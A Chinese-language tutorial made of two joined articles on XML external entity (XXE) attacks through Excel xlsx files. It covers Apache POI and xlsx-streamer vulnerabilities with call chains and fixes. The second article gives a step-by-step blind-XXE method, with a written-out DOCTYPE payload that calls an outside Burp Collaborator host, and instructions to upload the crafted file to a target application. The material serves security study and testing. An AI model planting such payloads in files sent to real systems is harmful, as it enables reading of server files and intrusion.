注:这里是两篇文章合在一起了。第一篇文章重点看xlsx中的哪几个xml可以编辑写payload;第二篇文章重点看利用方法。
第一篇文章
最近在阅读安全类文章时看到有同学分享如何利用 excel 进行 XXE 攻击,阅读后发现一些模糊的利用方式。由于漏洞场景非常常见,让我十分感兴趣,并决定一探究竟。注意本文验证仅用于学习与研究,请勿非法利用。
背景知识
Microsoft Office 从 2007 版本引入了新的开放的 XML 文件格式,新的 XML 文件格式基于压缩的 ZIP 文件格式规范,由许多部分组成。我们可以将其解压缩到特定的文件夹中来查看其包含的文件夹和文件,可以发现其中多数是描述工作簿数据、元数据、文档信息的 XML 文件。

Poi-ooxml.jar 的 XXE 漏洞
Apache POI 是提供 Microsoft Office 系列文档读、写功能的 JAVA 类库,Apache POI 3.10-FINAL 及以前版本被发现允许远程攻击者通过注入 XML 外部实体读取任意文件。
漏洞编号
CVE-2014-3529
影响范围
poi-ooxml-3.10-FINAL.jar 及以下版本
利用文件
[Content-Types].xml
漏洞利用

打开 [Content-Types].xml 注入外部实体:

保存后压缩回 test.xlsx 文件:

编写解析程序执行,发现报错:

此时 ceye 上已产生记录:

漏洞分析
调用链
所列函数的调用顺序从上到下:
class=” org.apache.poi.xssf.usermodel.XSSFWorkbook” method=” XSSFWorkbook()”
class=” org.apache.poi.util.PackageHelper” method=” open()”
class=” org.apache.poi.openxml4j.opc.OPCPackage” method=” open()”
class=” org.apache.poi.openxml4j.opc.OPCPackage” method=” getParts()”
class=” org.apache.poi.openxml4j.opc.ZipPackage” method=” getPartsImpl()”
class=” org.apache.poi.openxml4j.opc.internal.ZipContentTypeManager” method=” ZipContentTypeManager()”
class=” org.apache.poi.openxml4j.opc.internal.ContentTypeManager” method=” ContentTypeManager()”
class=” org.apache.poi.openxml4j.opc.internal.ContentTypeManager” method=” parseContentTypesFile()”
关键函数
程序执行至 getPartsImpl() 函数中匹配出了 [Content-Types].xml 文件,并文件数据流传入至 ZipContentTypeManager 中:

ZipContentTypeManager 调用 ContentTypeManager() 函数,ContentTypeManager() 函数中把数据传入了 parseContentTypesFile() 函数进行处理:

parseContentTypesFile() 函数未进行 XXE 漏洞防护,直接对 XML 数据进行解析:

至此,漏洞触发。
修复方案
升级 poi-ooxml.jar 到 3.16 或以上版本。
看到这里,有同学会问,为什么我在阅读其他文章时发现,文章描述的利用方式不是 [Content-Types].xml 文件,而是另外的 xml 文件呢?别着急,下面我们继续另一个漏洞分析。
xlsx-streamer.jar 的 XXE 漏洞
当 Excel 中的数据量较大时,在用 Apache POI 读取文件流时很容易引起失败,需要引入 xlsx-streamer 来进行资源的解析。而 xlsx-streamer 的 2.0.0 及以下版本被发现允许远程攻击者通过注入 XML 外部实体读取任意文件。
影响范围
xlsx-streamer.jar-2.0.0 及以下版本
利用文件
xl/workbook.xml
漏洞利用

打开 xl/workbook.xml 注入外部实体:

保存后压缩为 2.xlsx 文件:

编写解析程序执行,发现报错:

此时 ceye 上已产生记录:

漏洞分析
调用链
所列函数的调用顺序从上到下:
class=” com.monitorjbl.xlsx.StreamingReader” method=” open()”
class=” com.monitorjbl.xlsx.impl.StreamingWorkbookReader” method=” init(InputStream is)”
class=” com.monitorjbl.xlsx.impl.StreamingWorkbookReader” method=” init(file f)”
class=” org.apache.poi.xssf.eventusermodel.XSSFReader” method=” getWorkbookData()”
class=” com.monitorjbl.xlsx.XmlUtils” method=” document()”
关键函数
程序使用用户传入的 xlsx 文件内容重新生成一个临时文件,并使用 XSSFReader 解析文件:

然后在 getWorkbookData() 函数中会取到 xl/workbook.xml 文件流传入 document() 函数:

document() 函数未对 XXE 攻击进行防御,直接解析 XML 文件:

至此,漏洞触发。
修复方案
升级 xlsx-streamer.jar 到 2.1.0 版本
总结(将xl/wroksheets/sheet1.xml替换为payload)
除上述两个第三方库本身的漏洞外,系统开发人员在编写代码解析 xlsx 文件时,也有可能导致 XXE 漏洞。如 CVE-2016-5000 是在 Poi-examples.jar 的某个示例中被发现的 XXE 漏洞。感兴趣的同学可再进行进一步的研究。
(CVE-2016-5000:https://xz.aliyun.com/t/285/
通过不断尝试替换各个xml文件,发现将xl/wroksheets/sheet1.xml替换为payload,可以成功触发漏洞。)
参考文章
https://www.cnblogs.com/zlcom/archive/2013/09/21/3332060.html
http://www.zhutougg.com/2018/11/13/excel-streaming-reader-xxelou-dong/
</div>
第二篇文章
0x00 前言
XML外部实体攻击非常常见,特别是通过基于HTTP的API,我们经常遇到并利用以此通常获得对客户端环境的特权访问。
不常见的是用Excel进行XXE攻击。
0x01 这是什么方式
实际上,与所有post-Office 2007文件格式一样,现代Excel文件实际上只是XML文档的zip文件。这称为Office Open XML格式或OOXML。
许多应用程序允许上传文件。有些处理内部数据并采取相应的操作,这几乎肯定需要解析XML。如果解析器未安全配置,则XXE几乎是不可避免的。
在这篇文章中,我专注于Excel只是因为处理Excel文件比使用Word文档或Powerpoint更常见,但它肯定并不罕见,本文中的任何内容都可能适用于这些应用程序。
0x02 入门
假设我们有一个接受Excel文件进行上传和处理的目标应用程序,我们就可以开始探测XXE了。相同的攻击有效负载可能会起作用,我们只需将它们放入Excel文件即可。
创建一个新的空白Excel文件。你可以在某些单元格中键入内容,但实际上并不是必需的。如果您没有安装Excel?您可以使用Google表格,然后下载为xlsx。
创建一个目录以将Excel文件解压缩并解压缩。
用于攻击应用程序的文件会有所不同,这在很大程度上取决于所使用的库。xl/workbook.xml提供了工作簿内容的概述,通常是大多数解析开始的地方,因为它将包含工作表及其名称的列表。单个工作表本身位于xl/worksheets目录下,通常内容最终会进入xl/sharedStrings.xml。
我在实际中发现了这一点,大多数应用程序似乎都会使用xl/workbook.xmlXML解析器来获取工作表列表,然后分别读取每个工作表以获取单元格内容。我还没有找到任何易受细胞影响的应用程序,但您的里程可能会有所不同。
鉴于这种方法,根据经验,通常最好先尝试xl/workbook.xml,这就是我将在这篇文章中展示的内容。就像将XXE有效负载添加到此文件一样简单,将内容压缩回Excel文件并将其上传到应用程序。
0x03 使用BURP COLLABORATOR对XXE进行盲测
利用360压缩打开xslx文件,找到Content_Types.xml文件,添加外部实体如下:
在我们的演示应用程序中,无法将数据检索到HTTP响应中,因此所有这些XXE发现和利用都将是盲目的。我喜欢使用Burp Collaborator进行初始测试,因为阻止出站HTTP请求但允许DNS查询的情况并不少见。使用Collaborator我们可以看到两种交互并确认漏洞,即使我们可能无法轻易利用它。
打开Burp Suite Professional,单击Burp菜单并选择“Burp Collaborator client”将其打开。
单击“复制到剪贴板”。就我而言,值是gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net。现在我们将其插入到XML中。
打开xl/workbook.xml并将以下内容插入第2行和第3行。确保从Burp中粘贴你的值,而不是下面显示的值。:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://gtdwmy7gvrncy5rvfu11kxzl2c82wr.burpcollaborator.net/"> ]>
<x>&xxe;</x>
你的xl/workbook.xml现在会是像这样。
现在将其压缩以创建新的Excel文件。
现在将此poc.xlsx上传到你的应用程序。在这种情况下,有一个简单的ReactJS演示应用程序,它允许我们将文件拖入。你的应用程序应该会有所不同,但都是一个方式。
现在检查您的Burp Collaborator客户端,看看您是否有任何点击。
成功。我们已确认XXE。
0x04 总结
通过Excel利用XML外部攻击非常简单,一旦你找到它,基本上你通常使用的任何盲技术都将与更标准的HTTP请求一样利用。
本文是EXPLOITING XXE WITH EXCEL的翻译文章
</article>